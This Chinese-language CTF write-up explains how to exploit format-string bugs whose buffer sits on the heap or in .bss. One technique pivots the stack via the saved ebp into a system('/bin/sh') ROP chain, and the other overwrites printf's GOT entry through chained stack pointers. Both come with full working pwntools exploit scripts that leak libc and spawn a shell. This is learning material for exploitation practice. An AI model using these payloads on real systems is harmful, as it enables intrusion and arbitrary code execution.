格式化字符串漏洞点不在栈上怎么打
一般在栈上的格式会字符串漏洞,我们可以先泄露导致格式化字符串漏洞的函数的got表,然后利用%$hhn进行一个一个byte的写入,payload自己可以写函数去生成,或者利用pwntools库的fmtstr_payload(,{:})去自动生成,自己构造payload要注意payload是否有被‘\x00’截断,导致利用不成功,这种方法需要我们可控值是存储在栈上的参数,不在栈上时应该怎么办?介绍两种方法
第一种方法 将栈顶esp(rsp)提升到可控参数 进行rop
题目链接contacts
拿到题目运行
查看保护
开始ida反汇编静态分析
主函数就是一下简单switch,PrintInfo发现有我们可控参数,format是我们输入的Description,但是很遗憾在堆上(可以看到是利用malloc在堆上申请),源程序应该是个c的结构体
这是我们的思路可能在想可不可以改写printf的got为system地址,让后控制format为‘/bin/sh’从而获取shell,很遗憾不可以,参数没在栈上,可不可以利用改写返回地址为system_addr + ‘fake’ + addr of ‘/bin/sh‘ ,思想可行,由于改写过程需要大量输出,行为不可行,但是思想终归是正确的,我们是否可以把system_addr + ‘fake’ + addr of ‘/bin/sh‘输入到description,再利用格式化字符串漏洞,把main函数返回时保存的ebp给为堆上description地址,是可行的
gdb动态调试写exp
没有开pie保护,直接b *0x8048C22把断点下到漏洞处分析
观察栈里的参数1处为PrintInfo函数保存的ebp地址,2处为description堆上地址,3处为__libc_start_call_main调用函数时保存的返回地址,利用fmtarg得到各格式化参数偏移,接下来我们的思路就很明确了
- 利用%31$paaaa 泄露__libc_start_call_main,让后利用Libcsearch泄露版本号(ASLR保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变,原因是以页的大小为基础随机,linux一般4k),从而dump下libc里的system地址和/bin/sh地址,这里由于不知名原因导致__libc_start_call_main不行,脚本里换成了根据偏移libc_start_main地址,本地练习无所谓
- b’%6$p%11$pbbb’+p32(system)+b’fake’+p32(bin_sh)泄露description地址和ebp,同时写入rop需要成分
- b’%’+str(heap_addr-4).encode()+b’c’+b’%6$n’向main函数ebp写入description堆地址
- 程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,利用%n修改的又是地址里的内容,所以我们修改的是上上级函数ebp,也就是main
- 为什么heap_addr需要-4,我们观察反汇编发现main函数利用leave 和 ret 来恢复堆栈和执行,leave也就等效于mov esp,ebp ;pop ebp恢复,在leave esp,ebp时堆栈已经提升到堆,pop ebp 会ebp+4,所以我们需要进行-4留出给fake ebp
- 然后我们退出main函数就可以拿到shell
完整exp如下
from pwn import * from LibcSearcher import * context(os='linux',arch='i386') pwnfile='./contacts' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y)) def createcontact(name, phone, descrip_len, description): io.recvuntil(b'>>> ') io.sendline(b'1') io.recvuntil(b'Contact info: \n') io.recvuntil(b'Name: ') io.sendline(name) io.recvuntil(b'You have 10 numbers\n') io.sendline(phone) io.recvuntil(b'Length of description: ') io.sendline(descrip_len) io.recvuntil(b'description:\n\t\t') io.sendline(description)
def printcontact(): io.recvuntil(b'>>> ') io.sendline(b'4') io.recvuntil(b'Contacts:') io.recvuntil(b'Description: ')
payload = '%31$paaaa' createcontact(b'1111', b'1111', b'111', payload) printcontact() __libc_start_call_main=int(ru(b'aaaa'),16) success('get libc_start_main_ret addr: ' + hex(__libc_start_call_main)) __libc_start_main=__libc_start_call_main+0x3B libc=LibcSearcher('__libc_start_main',__libc_start_main) base=__libc_start_main-libc.dump('__libc_start_main') p('__libc_start_main',__libc_start_main) system=base+libc.dump('system') bin_sh=base+libc.dump('str_bin_sh') p('system',system) p('bin_sh',bin_sh) payload=b'%6$p%11$pbbb'+p32(system)+b'fake'+p32(bin_sh) createcontact(b'222',b'222',b'222',payload) printcontact() ru(b'aaa') data=ru(b'bbb') print(data) data=data.split(b'0x') ebp_addr = int(data[1], 16) heap_addr = int(data[2], 16)+12 p('ebp',ebp_addr) p('heap',heap_addr)
payload=b'%'+str(heap_addr-4).encode()+b'c'+b'%6$n' createcontact(b'3333', b'123456789', b'300', payload) printcontact() io.recvuntil('Description: ') io.recvuntil('Description: ')
io.recvuntil('>>> ')
io.sendline(b'5') io.interactive()
|
第二种方法 顺藤摸瓜修改栈上合适地址,改写got
题目链接:https://pan.baidu.com/s/1lLW4_0WPbxhORpcDk5GLZw
提取码:qydx
拿到题目运行
查看保护
ida反汇编静态分析
很明显的漏洞,发现buf在.bss段,同样不在栈区(.bss:未初始化的全局和静态C变量,以及所有被初始化为0的全局或静态变量。(目标文件该节在磁盘不占空间,在运行时,内存分配,初始化0))
同样无法直接利用fmtstr_payload利用,这次我们观察程序发现这次程序在我们再次到底可控参数的printf没有使用printf,可以修改printf got为system地址,从而利用可控参数,拿到shell,由于可控参数在.bss段,我们就需要利用可控参数在原有栈的数据上做文章
gdb动态调试
输入%p后断点断到printf栈区如下
利用1处栈地址,也就是将0xffffcfa8地址处内容0xffffcfb8修改为0xffffcfac,由于开启pie保护,0xffffcfac处所存内容是elf文件所存地址+pie基址生成的,got表也在elf文件的数据区,也是有地址+pie基地址生成,所以我们只需要利用%$hn修改其低四位即可(小端序),buf地址可以利用%$p泄露,这样我们就可以输入buf为printf_got+payload,修改其got为system地址
exp构造
%p%6$p泄露buf和ebp基地址
ebp基地址+偏移得到可修改的有价值地址
b’%’+str((ebp基地址+偏移)&0xffff).encode()+b’c’+b’%6$hn’修改ebp指向地址
由于开启pie,需要先利用main返回地址泄露pie基地址,从而得到printf_got真实地址 %11$p
b’%’+str(printf_got&0xffff).encode()+b’c’+b’%10$hn’改写有价值的地址为printf_got
%11$s\x00 利用布置好的printf_got泄露printf函数在libc里的真实地址 从而dump到system地址
改写printf_got为内容为system地址
由于两地址有3个字节的差异,一次%$hn只能改写2字节内容,而改写四字节内容需要的输出代价太大,我们需要在栈上找到另一个有价值的地址重复上面1.2.3.5步骤进行改写,改写其为printf_got地址的后两字节地址
接下来就可以构造常规payload改写got达到目的
完整exp
from pwn import * from LibcSearcher import * context(os='linux',arch='i386') pwnfile='./fmt_str_level_2_x86' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
printf_got=elf.got['printf'] payload=b'%p%6$p' sla(b'hello\n',payload) addr=ru(b'\n') addr=addr.split(b'0x') base1=int(addr[2],16) buf=int(addr[1],16) p('base1',base1) p('buf',buf) base2=base1+4
payload=b'%'+str(base2&0xffff).encode()+b'c'+b'%6$hn' sl(payload) ru(b'\n')
payload=b'%11$p\x00' sl(payload) pie=int(r(10),16)-elf.symbols['main']-30 p('pie',pie) printf_got+=pie
payload=b'%'+str(printf_got&0xffff).encode()+b'c'+b'%10$hn' sl(payload) ru(b'\n')
sl(b'%11$s\x00') printf_addr=u32(r(4))
libc=LibcSearcher('printf',printf_addr) base=printf_addr-libc.dump("printf") system_addr=base+libc.dump('system') p('base',base) p('system',system_addr)
payload=b'%'+str((base1-0xc)&0xffff).encode()+b'c'+b'%6$hn' sl(payload) ru('\n') payload=b'%'+str((printf_got&0xffff)+2).encode()+b'c'+b'%10$hn' sl(payload) ru(b'\n') sysl=system_addr&0xffff sysh=(system_addr>>16)&0xffff payload=b'%'+str(sysl).encode()+b'c'+b'%11$hn'+b'%'+str(sysh-sysl).encode()+b'c'+b'%7$hn' sl(payload) r(sysl+sysh)
sl('/bin/sh\x00')
io.interactive()
|
总结:一定还有其他姿势拿到shell,只是我们懂得太少不知道罢了Zzz